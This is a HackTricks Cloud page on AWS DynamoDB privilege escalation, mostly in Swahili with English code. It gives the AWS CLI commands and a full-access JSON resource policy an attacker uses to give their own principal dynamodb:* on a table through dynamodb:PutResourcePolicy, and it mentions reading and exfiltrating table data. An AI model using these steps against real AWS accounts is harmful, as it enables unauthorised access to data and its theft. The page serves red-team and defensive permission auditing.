AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
dynamodb
Kwa maelezo zaidi kuhusu dynamodb angalia:
dynamodb:PutResourcePolicy
, na kwa hiari dynamodb:GetResourcePolicy
Tangu Machi 2024, AWS inatoa sera za msingi wa rasilimali kwa ajili ya DynamoDB (AWS News).
Hivyo, ikiwa una dynamodb:PutResourcePolicy
kwa meza, unaweza kujipa wewe mwenyewe au mtu mwingine yeyote ufikiaji kamili kwa meza hiyo.
Kutoa dynamodb:PutResourcePolicy
kwa mtu yeyote wa bahati mbaya mara nyingi hutokea kwa bahati mbaya, ikiwa wasimamizi wanafikiri kwamba kutoa dynamodb:Put*
kutaruhusu tu mtu huyo kuweka vitu kwenye hifadhidata - au ikiwa walitoa seti hiyo ya ruhusa kabla ya Machi 2024...
Kwa kawaida, unapaswa pia kuwa na dynamodb:GetResourcePolicy
, ili usiandike tena ruhusa nyingine muhimu, bali tu uweke ruhusa zilizoongezwa unazohitaji:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Ikiwa huwezi kupata sera ya sasa, tumia hii ambayo inatoa ufikiaji kamili juu ya jedwali kwa mhusika wako:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Ikiwa unahitaji kuiboresha, hapa kuna orodha ya vitendo vyote vinavyowezekana vya DynamoDB: AWS Documentation. Na hapa kuna orodha ya vitendo vyote vinavyoweza kuruhusiwa kupitia sera ya msingi ya rasilimali NA ni yapi kati ya haya yanaweza kutumika kati ya akaunti (fikiria kuhusu uhamasishaji wa data!): AWS Documentation
Sasa, ikiwa hati ya sera policy.json
iko tayari, weka sera ya rasilimali:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Sasa, unapaswa kuwa na ruhusa ulizohitaji.
Post Exploitation
Kuhusu ninavyojua, hakuna njia nyingine ya moja kwa moja ya kupandisha ruhusa katika AWS kwa kuwa na ruhusa za AWS dynamodb
. Unaweza kusoma taarifa nyeti kutoka kwa meza (ambazo zinaweza kuwa na akauti za AWS) na kuandika taarifa kwenye meza (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika ukurasa wa Post Exploitation wa DynamoDB:
AWS - DynamoDB Post Exploitation
TODO: Soma data kwa kutumia data Streams
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.